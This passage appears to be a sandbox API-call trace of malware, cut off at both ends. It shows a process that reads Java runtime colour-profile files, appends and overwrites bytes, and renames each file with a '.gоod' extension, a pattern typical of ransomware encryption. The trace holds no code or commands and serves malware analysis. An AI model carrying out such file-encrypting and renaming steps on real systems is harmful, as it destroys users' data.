lpFilePart=0x0) returned 0x34 [0096.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0096.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), fInfoLevelId=0x0, lpFileInformation=0x3609dc0 | out: lpFileInformation=0x3609dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824)) returned 1 [0096.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0096.376] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", lpFilePart=0x0) returned 0x34 [0096.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0096.376] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0096.376] GetFileType (hFile=0x7dc) returned 0x1 [0096.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0096.376] GetFileType (hFile=0x7dc) returned 0x1 [0096.376] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0096.376] ReadFile (in: hFile=0x7dc, lpBuffer=0x360a188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x360a188*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0096.377] CloseHandle (hObject=0x7dc) returned 1 [0096.378] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", lpFilePart=0x0) returned 0x34 [0096.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0096.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0096.378] GetFileType (hFile=0x7dc) returned 0x1 [0096.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0096.378] GetFileType (hFile=0x7dc) returned 0x1 [0096.378] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0xc824 [0096.378] WriteFile (in: hFile=0x7dc, lpBuffer=0x360b4b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x360b4b0*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0096.379] CloseHandle (hObject=0x7dc) returned 1 [0096.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", lpFilePart=0x0) returned 0x34 [0096.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0096.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0096.379] GetFileType (hFile=0x7dc) returned 0x1 [0096.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0096.379] GetFileType (hFile=0x7dc) returned 0x1 [0096.379] ReadFile (in: hFile=0x7dc, lpBuffer=0x360d748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x360d748*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0096.611] CloseHandle (hObject=0x7dc) returned 1 [0096.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", lpFilePart=0x0) returned 0x34 [0096.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0096.611] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0096.611] GetFileType (hFile=0x7dc) returned 0x1 [0096.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0096.611] GetFileType (hFile=0x7dc) returned 0x1 [0096.611] WriteFile (in: hFile=0x7dc, lpBuffer=0x3544db0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x3544db0*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0096.611] CloseHandle (hObject=0x7dc) returned 1 [0096.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", lpFilePart=0x0) returned 0x34 [0096.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.gоod", lpFilePart=0x0) returned 0x39 [0096.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0096.612] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x35cb976d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc834)) returned 1 [0096.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0096.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.gоod")) returned 1 [0096.614] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", lpFilePart=0x0) returned 0x32 [0096.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0096.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), fInfoLevelId=0x0, lpFileInformation=0x363b288 | out: lpFileInformation=0x363b288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278)) returned 1 [0096.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0096.614] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", lpFilePart=0x0) returned 0x32 [0096.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0096.614] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0096.615] GetFileType (hFile=0x7dc) returned 0x1 [0096.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0096.615] GetFileType (hFile=0x7dc) returned 0x1 [0096.615] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f49bbf8 | out: lpFileSizeHigh=0x1f49bbf8*=0x0) returned 0x278 [0096.615] ReadFile (in: hFile=0x7dc, lpBuffer=0x363b738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb28, lpOverlapped=0x0 | out: lpBuffer=0x363b738*, lpNumberOfBytesRead=0x1f49bb28*=0x278, lpOverlapped=0x0) returned 1 [0097.000] CloseHandle (hObject=0x7dc) returned 1 [0097.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", lpFilePart=0x0) returned 0x32 [0097.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0097.071] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0097.072] GetFileType (hFile=0x7b0) returned 0x1 [0097.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0097.072] GetFileType (hFile=0x7b0) returned 0x1 [0097.073] WriteFile (in: hFile=0x7b0, lpBuffer=0x3942ba0*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x1f49ba38, lpOverlapped=0x0 | out: lpBuffer=0x3942ba0*, lpNumberOfBytesWritten=0x1f49ba38*=0x280, lpOverlapped=0x0) returned 1 [0097.074] CloseHandle (hObject=0x7b0) returned 1 [0097.074] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf", lpFilePart=0x0) returned 0x32 [0097.074] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.gоod", lpFilePart=0x0) returned 0x37 [0097.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0097.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x36132034, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280)) returned 1 [0097.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0097.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.gоod")) returned 1 [0098.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", lpFilePart=0x0) returned 0x38 [0098.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0098.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), fInfoLevelId=0x0, lpFileInformation=0x34308d8 | out: lpFileInformation=0x34308d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414)) returned 1 [0098.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0098.021] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", lpFilePart=0x0) returned 0x38 [0098.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0098.021] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0098.021] GetFileType (hFile=0x7b4) returned 0x1 [0098.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0098.021] GetFileType (hFile=0x7b4) returned 0x1 [0098.021] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f49bbf8 | out: lpFileSizeHigh=0x1f49bbf8*=0x0) returned 0x414 [0098.022] ReadFile (in: hFile=0x7b4, lpBuffer=0x3434510, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb28, lpOverlapped=0x0 | out: lpBuffer=0x3434510*, lpNumberOfBytesRead=0x1f49bb28*=0x414, lpOverlapped=0x0) returned 1 [0098.571] CloseHandle (hObject=0x7b4) returned 1 [0098.604] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", lpFilePart=0x0) returned 0x38 [0098.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0098.604] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0098.605] GetFileType (hFile=0x7b4) returned 0x1 [0098.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0098.605] GetFileType (hFile=0x7b4) returned 0x1 [0098.605] WriteFile (in: hFile=0x7b4, lpBuffer=0x3459958*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x1f49ba38, lpOverlapped=0x0 | out: lpBuffer=0x3459958*, lpNumberOfBytesWritten=0x1f49ba38*=0x420, lpOverlapped=0x0) returned 1 [0098.606] CloseHandle (hObject=0x7b4) returned 1 [0098.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf", lpFilePart=0x0) returned 0x38 [0098.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.gоod", lpFilePart=0x0) returned 0x3d [0098.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0098.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x36fc7676, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x420)) returned 1 [0098.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0098.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.gоod")) returned 1 [0098.607] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", lpFilePart=0x0) returned 0x32 [0098.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0098.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), fInfoLevelId=0x0, lpFileInformation=0x345ab90 | out: lpFileInformation=0x345ab90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a)) returned 1 [0098.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0098.608] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", lpFilePart=0x0) returned 0x32 [0098.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0098.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0098.608] GetFileType (hFile=0x7b4) returned 0x1 [0098.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0098.608] GetFileType (hFile=0x7b4) returned 0x1 [0098.608] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0098.608] ReadFile (in: hFile=0x7b4, lpBuffer=0x345af38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x345af38*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0099.210] CloseHandle (hObject=0x7b4) returned 1 [0099.211] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", lpFilePart=0x0) returned 0x32 [0099.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0099.211] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0099.211] GetFileType (hFile=0x7b4) returned 0x1 [0099.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0099.211] GetFileType (hFile=0x7b4) returned 0x1 [0099.211] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x4302a [0099.211] WriteFile (in: hFile=0x7b4, lpBuffer=0x34b1ac0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x34b1ac0*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0099.213] CloseHandle (hObject=0x7b4) returned 1 [0099.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", lpFilePart=0x0) returned 0x32 [0099.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0099.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0099.214] GetFileType (hFile=0x7b4) returned 0x1 [0099.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0099.214] GetFileType (hFile=0x7b4) returned 0x1 [0099.214] ReadFile (in: hFile=0x7b4, lpBuffer=0x34b3d48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x34b3d48*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0099.245] CloseHandle (hObject=0x7b4) returned 1 [0099.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", lpFilePart=0x0) returned 0x32 [0099.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0099.245] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0099.245] GetFileType (hFile=0x7b4) returned 0x1 [0099.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0099.245] GetFileType (hFile=0x7b4) returned 0x1 [0099.245] WriteFile (in: hFile=0x7b4, lpBuffer=0x34b2ad8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x34b2ad8*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0099.245] CloseHandle (hObject=0x7b4) returned 1 [0099.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", nBufferLength=0x105, lpBuffer=0x1f49b6d0, 